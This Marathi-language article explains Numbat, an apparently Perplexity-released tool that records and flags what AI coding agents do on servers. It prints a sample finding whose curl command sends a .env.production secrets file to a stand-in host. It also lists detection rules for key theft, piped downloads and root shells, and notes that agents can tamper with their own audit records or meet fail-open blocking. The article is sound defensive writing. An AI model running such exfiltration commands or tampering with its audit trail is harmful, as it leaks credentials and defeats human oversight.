Numbat: तुमच्या AI agent ने server वर काय केले ते पहा
Perplexity च्या open source Numbat ने AI coding agents चे hook callbacks आणि session files नोंदवले, पण ते कृती थांबवत नाही. नेमके काय दिसते ते जाणून घ्या.
Numbat म्हणजे काय
Numbat मुळे तुमच्या मालकीच्या मशीनवर AI agent ने काय केले हे दिसते. Coding agents आधीच तयार करत असलेले hook callbacks आणि session files हे वाचते. त्यांचे एका event format मध्ये normalization करते. त्यानंतर SSH private key वाचणे किंवा download थेट shell मध्ये pipe करणे यांसारख्या वर्तनांवर लागू होणाऱ्या rules शी त्यांची जुळवणी करते. Perplexity ने ते Apache 2.0 अंतर्गत open source म्हणून release केले. त्याची पहिली tagged release 29 July 2026 रोजी झाली.
खालील सर्व माहिती 2 August 2026 रोजी project च्या repository आणि त्याच्या documentation मधून घेतली आहे. Perplexity ने एखादा दावा केला असल्यास, या लेखात तो Perplexity चा दावा असल्याचे स्पष्ट केले आहे. हा install tutorial नाही, कारण repository नुकतेच काही दिवस जुने आहे आणि त्यातील commands बदलू शकतात.
समस्या: एजंटने काय केले याची नोंद कोणी ठेवत नाही
तुमच्या VPS वरील coding agent shell commands चालवतो, files वाचतो, files लिहितो आणि network connections उघडतो. हे सर्व तो तुम्ही दिलेल्या user म्हणून करतो. तुमच्या shell history मध्ये यापैकी काहीही नोंदले जात नाही, कारण agent तुमच्या shell मध्ये टाइप करत नाही. sshd तुमचा login नोंदवतो; त्यानंतर model ने काय करण्याचा निर्णय घेतला, याची नोंद तो ठेवत नाही. /var/log/auth.log फक्त काहीतरी sudo कडे प्रवेश करण्याचा प्रयत्न केल्यावरच सक्रिय होतो. Agent स्वतःचा transcript ठेवतो. मात्र ती file agent च्या session directory मध्ये असते, तिचे format releases नुसार बदलते आणि agent ची स्वतःची process त्यात लिहू शकते.
म्हणून agent ने मागील मंगळवारी .env.production वाचले का, असे कोणी विचारल्यास बहुतेक servers वर प्रामाणिक उत्तर असे असते की ते तुम्ही सांगू शकत नाही. हीच उणीव भरून काढण्यासाठी हा project तयार करण्यात आला आहे.
Perplexity च्या मते Numbat काय करते
README मध्ये या साधनाचे वर्णन “AI agent activity साठी endpoint visibility, local detection, optional pre-action blocking आणि forensic reconstruction” असे केले आहे. येथे endpoint म्हणजे agent ज्या मशीनवर चालतो ती मशीन; बाहेरून निरीक्षण करणारे network appliance नव्हे. या स्वतंत्र क्षमता आहेत आणि त्यांचे महत्त्वही वेगवेगळे आहे.
Detection डिव्हाइसवरच चालते. Rules CEL (common expression language) मध्ये लिहिले जातात आणि स्थानिक पातळीवर evaluate केले जातात. त्यावर multi-step sequence rules आणि YAML मध्ये स्वतःचे rules लिहिण्याचे support उपलब्ध आहे. एखादा rule लागू होण्यासाठी कोणतीही माहिती मशीनबाहेर जाण्याची आवश्यकता नाही.
Blocking पर्यायी आणि मर्यादित आहे. हे फक्त synchronous pre-action hooks द्वारे आणि असा hook उपलब्ध करून देणाऱ्या agents वरच कार्य करते. तुम्ही ते सुरू करेपर्यंत हे बंद असते.
Reconstruction नंतरच्या टप्प्यावर होते. numbat scan agent ने आधीच disk वर लिहिलेल्या session artifacts चे parsing करते. त्यामुळे काहीही install करण्यापूर्वीची activity देखील पाहता येते. या दाव्याची मर्यादा प्रकल्प स्पष्टपणे सांगतो: “At-rest reconstruction हे disk किंवा memory acquisition नाही आणि agent ने persist न केलेली activity ते परत मिळवू शकत नाही.”
Output versioned NDJSON (newline delimited JSON) स्वरूपात असतो. त्यात events, findings, enforcement decisions, indicators आणि scan summaries समाविष्ट असतात. v0.1.2 नुसार schema version 0.2.0 आहे. Records stdout किंवा local file मध्ये लिहिले जातात. तसेच, तुम्ही चालवत असलेल्या collector कडे ते वैकल्पिकरित्या HTTP द्वारे पाठवता येतात. हे cgo शिवाय build केलेले एक static Go binary म्हणून उपलब्ध आहे. ते amd64 आणि arm64 वरील macOS, Linux आणि Windows साठी उपलब्ध आहे. त्यामुळे Linux VPS वर आधी कोणतेही runtime install करण्याची आवश्यकता नसते; एकच file पुरेशी असते.
Numbat प्रत्यक्षात कोणते agents पाहू शकतो?
docs/agent-coverage.md मधील coverage matrix ही अधिकृत यादी आहे आणि तिचे coverage एकसमान नाही. प्रकल्प हे स्पष्टपणे सांगतो; तो ही बाब लपवत नाही. Claude Code, Codex, Gemini CLI, Cursor आणि GitHub Copilot CLI यांच्यासाठी artifact scanning आणि pre-action hook सह live capture, दोन्ही उपलब्ध आहेत. OpenClaw साठी version 2026.7.1 पासून native plugin उपलब्ध आहे. अनेक entries deferred म्हणून चिन्हांकित आहेत. याचा अर्थ live hook path उपलब्ध आहे, परंतु artifact parser उपलब्ध नाही. अनेकदा याचे कारण असे असते की तो agent आपला history SQLite मध्ये write-ahead log सह साठवतो आणि agent चालू असताना तो वाचणे सुरक्षित नसते. 2 August 2026 रोजी matrix पाहिली तेव्हा OpenCode आणि Cline या गटात होते.
या tool भोवती कोणतीही योजना करण्यापूर्वी तुमच्या agent ची row तपासा, कारण जवळजवळ प्रत्येक line वर "supported" याचा अर्थ वेगळा आहे.
डिटेक्शन कसे दिसते
नियमांमध्ये त्यांचा उपयोग सांगणारे ids असतात. secrets.read_private_key मध्ये SSH key, AWS credentials, kube config किंवा package registry login यांचा समावेश होतो. curl किंवा wget चे output interpreter कडे pipe केले गेल्यास exec.download_pipe_shell सक्रिय होतो. sudo, doas, su किंवा pkexec द्वारे interactive root shell मागितल्यास privilege.elevated_shell ते पकडतो. impact.cryptomining_launch ज्ञात miner binaries आणि image names शी जुळतो.
Sequence rules एका session मधील events एकत्र जोडतात. chain.secret_read_then_egress साठी आधी secret file वाचलेले असणे आणि त्यानंतर data बाहेर पाठवणारी command असणे आवश्यक आहे. README मध्ये खालील finding दोन Claude Code pre-action callbacks च्या नियंत्रित replay मधून दाखवली आहे; ती live incident मधून घेतलेली नाही. येथे केवळ महत्त्वाच्या fields ठेवून ती संक्षिप्त केली आहे:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Record मध्ये "confidence": "medium" कुठे आहे ते लक्षात घ्या. तसेच या संपूर्ण प्रकारच्या output विषयी project काय सांगतो ते लक्षात घ्या: "Findings are rule matches, not proof of compromise." Key वाचून build artifact upload करणारी deploy script त्याच sequence rule शी जुळेल. Match अचूक असतो, पण alarm चुकीचा असतो. तुम्ही आतापर्यंत वापरलेल्या प्रत्येक detection tool ची हीच सामान्य स्थिती आहे.
अवरोधन default ने बंद असते आणि अपयशाच्या वेळी परवानगी दिली जाते
Numbat द्वारे वितरित होणारा प्रत्येक rule केवळ monitoring साठी असतो. एखाद्या rule ला block मध्ये बदलण्यासाठी जाणीवपूर्वक प्रक्रिया करावी लागते: त्या rule चे संपूर्ण YAML आपल्या directory मध्ये copy करा, तोच id ठेवा, enforce: true जोडा, version वाढवा आणि नंतर ती policy validate करून install करा.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceआता त्यावर किती विश्वास ठेवायचा हे ठरवणारा भाग पाहू. Numbat चा deny हा agent कडे परत पाठवला जाणारा response आहे. प्रत्यक्षात tool call नाकारणारा घटक agent असतो. Numbat मध्येच समस्या आल्यास काय होते, हे enforcement guide स्पष्टपणे सांगते: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input ची कमाल मर्यादा 4 MiB आहे. मर्यादेपेक्षा मोठ्या input साठीही हाच मार्ग वापरला जातो.
प्रत्यक्षात पोहोचलेल्या deny च्या मर्यादेबाबतही guide स्पष्ट आहे: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."
म्हणून येथे enforcement हे guardrail आहे, boundary नाही. process crash झाल्यास Numbat कडून action block होत नाही. कारण प्रत्येक वेळी समस्या आल्यावर तुमचा agent गोठवणारा monitor एका आठवड्यात uninstall केला जाईल. हा trade-off योग्य आहे. मात्र deny नेहमी पोहोचेल असे गृहीत धरून security model तयार करू नका.
Numbat तुमच्या सध्याच्या पद्धतींच्या तुलनेत कुठे बसते
Numbat endpoint वर, agent च्या स्वतःच्या process tree मध्ये चालते आणि डीफॉल्टनुसार ~/.numbat/records.ndjson मध्ये लिहिते. तुमच्या वापरकर्ता खात्याखाली चालणारा agent ती फाइल वाचू शकतो. तो ती संपादितही करू शकतो. Audit trail ची उपयुक्तता त्याभोवती असलेल्या isolation इतकीच असते. त्यामुळे तुमची सध्याची प्रत्येक control या control च्या मागे नव्हे, तर तिच्या पुढे लागू होते.
coding agent साठी disposable VM देणे एखाद्या चुकीच्या run मध्ये तो कुठपर्यंत पोहोचू शकतो यावर मर्यादा घालते. VPS वर least privilege वापरकर्ता ठेवणे agent ला ज्या फाइल्स उघडण्याची आवश्यकता नाही त्यांपासून दूर ठेवते. agent च्या context पासून credentials दूर ठेवणे यामुळे secrets.read_private_key घडणे इतके दुर्मीळ होते की ते घडल्यावर त्याची नोंद वाचणे उपयुक्त ठरते. आणि VPS वर Claude Code साठी तुम्ही उभारलेला sandbox अजूनही containment करणारी मुख्य व्यवस्था आहे.
Numbat जे जोडते ते म्हणजे record. त्यामुळे तो record agent पोहोचू शकणार नाही अशा ठिकाणी पाठवा. numbat ship आणि HTTP sink यासाठी आहेत. दुसऱ्या मशीनवर stream ची प्रत ठेवणे म्हणजे log file आणि evidence यांमधील फरक आहे. Event model मध्ये MCP (model context protocol) fields देखील असतात. त्यामुळे VPS वर तुम्ही चालवलेल्या MCP server मधून बाहेर जाणारे tool calls आणि स्थानिक shell commands एकाच stream मध्ये नोंदवले जातात. हे महत्त्वाचे आहे, कारण फक्त bash वर लक्ष ठेवणाऱ्या कोणत्याही व्यवस्थेला हा मार्ग दिसत नाही.
प्रथम केवळ-वाचन पद्धतीने वापरून पाहा
ठरावीक version install करा. go install साठी Go 1.26.5 किंवा त्यानंतरचे version आवश्यक आहे. तुम्हाला source code मधून build करायचे नसल्यास releases page वर SHA-256 checksums सह prebuilt binaries उपलब्ध आहेत.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents या मशीनवर install केलेले agents शोधते. numbat scan डिस्कवर आधीपासून असलेल्या session artifacts चे parsing करते आणि records प्रदर्शित करते. README मध्ये नमूद केले आहे की या commands “hooks install करत नाहीत किंवा agent configuration बदलत नाहीत”. तसेच numbat “artifacts मध्ये आढळणारे agents किंवा commands कधीही execute करत नाही आणि configured HTTP sinks कडेच outbound requests पाठवते”. Scanning read-only पद्धतीने होते आणि secrets redacted केले जातात. नेहमीच्या record output मध्ये पूर्ण raw transcript कधीही समाविष्ट नसतो.
Live capture हा पुढील टप्पा आहे. यामुळे agent configuration बदलते:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all events, findings, indicators आणि लागू असलेले enforcement decisions ~/.numbat/records.ndjson मध्ये लिहिते. Project मधून थेट मिळणाऱ्या दोन महत्त्वाच्या सूचना आहेत. Hooks चालण्यापूर्वी agent मध्ये त्यांना trust करावे लागू शकते. --enforce सारखे flags बदलल्यानंतर त्या trust ची पुन्हा समीक्षा करावी लागते. तसेच hook status “configuration चे verification करते, execution किंवा delivery चे नाही”. त्यामुळे healthy status line दिसणे म्हणजे records कुठेतरी पोहोचत आहेत याचा पुरावा नाही.
इतके नवीन repository dependency का ठरू शकत नाही
सार्वजनिक releases म्हणजे 29 July 2026 रोजीचे v0.1.1 आणि 1 August 2026 रोजीचे v0.1.2. हा लेख लिहिला तेव्हा, 2 August 2026 रोजी, repository ला 597 stars मिळाले होते. एवढ्या वेगाने वाढणारी संख्या कोड किती स्थिर आहे हे दर्शवत नाही; ती Perplexity च्या प्रेक्षकवर्गाचे प्रमाण दर्शवते. Star म्हणजे एखाद्याने पृष्ठ नंतर पाहण्यासाठी जतन केले आहे.
Version number या प्रकल्पाची सद्यस्थिती स्पष्टपणे दर्शवतो. v0.1.2 मधील नोंदींमध्ये प्रामुख्याने credential redaction fixes, तसेच case bundle आणि telemetry normalisation यांचा समावेश आहे. इतर प्रोग्रामच्या transcripts सुरक्षितपणे वाचणे हे ज्या tool चे काम आहे, त्यातील सुरुवातीच्या दोषांचे अपेक्षित स्वरूप redaction bugs असेच असते. असे आणखी bugs येतील, कारण input डझनभर agents कडून येतो आणि प्रत्येक agent आपला format स्वतंत्र वेळापत्रकानुसार बदलतो.
यातून दोन व्यावहारिक नियम लागू होतात. तुम्ही जतन केलेल्या कोणत्याही गोष्टीत @latest ऐवजी tag pin करा. तसेच हे साधन तुमच्या नियंत्रणासाठी आवश्यक असलेली dependency न मानता, तुम्ही मूल्यमापन करत असलेले instrument म्हणून वापरा. किमान record schema मध्ये बदल होणे थांबेपर्यंत हे पाळा.
FAQ
Numbat धोकादायक AI agent commands अवरोधित करते का?
तुम्ही ते ऐच्छिकपणे सक्षम केले असेल तरच, आणि तेही केवळ best effort पद्धतीने. Numbat सोबत येणारा प्रत्येक rule monitor only असतो. अवरोध घालण्यासाठी rule मधील YAML तुमच्या स्वतःच्या directory मध्ये कॉपी करा, त्याचा id कायम ठेवा, enforce: true जोडा, version वाढवा आणि --enforce ने hook install करा. तरीही deny हा agent कडे परत पाठवलेला response असतो आणि call नाकारणारा agentच असतो. Project मध्ये fail-open behaviour दस्तऐवजीकरण केले आहे: malformed payloads, evaluation errors, panics आणि output failures यांमुळे deny दडपला जातो. हे guardrail म्हणून वापरा; एकमेव boundary म्हणून वापरू नका.
Numbat कोणत्या AI agents ला support करते?
Coverage प्रत्येक agent नुसार वेगळी आहे आणि repository मधील docs/agent-coverage.md मध्ये दिली आहे. 2 August 2026 रोजी ते पृष्ठ वाचले तेव्हा Claude Code, Codex, Gemini CLI, Cursor आणि GitHub Copilot CLI यांच्यासाठी artifact scanning आणि live capture दोन्ही उपलब्ध होते. OpenClaw साठी version 2026.7.1 पासून native plugin उपलब्ध आहे. इतर अनेक agents साठी live hook path दिलेला आहे; मात्र artifact parser अद्याप उपलब्ध नाही. याचे सामान्य कारण असे की त्यांचा session history SQLite database मध्ये असतो आणि agent चालू असताना तो सुरक्षितपणे read करता येत नाही. तुमच्या agent साठीची row वाचा, कारण तेथे "supported" या शब्दात अनेक वेगवेगळे स्तर समाविष्ट आहेत.
Agent Numbat च्या records मध्ये छेडछाड करू शकतो का?
होय, तो त्याच user म्हणून चालत असेल तर. Records default ने agent ज्या machine वर चालतो त्याच machine वरील ~/.numbat/records.ndjson मध्ये साठवले जातात. त्यामुळे त्या path वर write access असलेली कोणतीही गोष्ट records बदलू किंवा delete करू शकते. Stream अशा collector कडे पाठवा ज्याच्यापर्यंत agent पोहोचू शकत नाही. यासाठी numbat ship किंवा HTTP sink वापरा आणि local file सोयीची copy म्हणून ठेवा. म्हणूनच हे tool isolation ला पूरक आहे; त्याची जागा घेणारे नाही. least privilege user अंतर्गत disposable VM मध्ये confined केलेल्या agent ची स्वतःच्या audit trail वर पोहोचण्याची क्षमता खूपच कमी असते.
Numbat production server साठी तयार आहे का?
ज्यावर तुम्ही अवलंबून राहाल अशा control म्हणून नाही. पहिला public release v0.1.1 हा 29 July 2026 रोजी आला आणि त्यानंतर 1 August 2026 रोजी v0.1.2 आले. त्यामुळे flags आणि record schema दोन्ही अजून बदलत आहेत. एखाद्या box वर numbat agents आणि numbat scan चालवणे read-only आणि कमी जोखमीचे आहे. यामुळे तुमचे agents disk वर काय ठेवत आहेत ते समजते. महत्त्वाच्या server वर enforcement hooks install करणे हा वेगळा निर्णय आहे. त्यासाठी pinned tag आणि hook मध्ये बिघाड झाल्यास काय करायचे याची योजना आवश्यक आहे.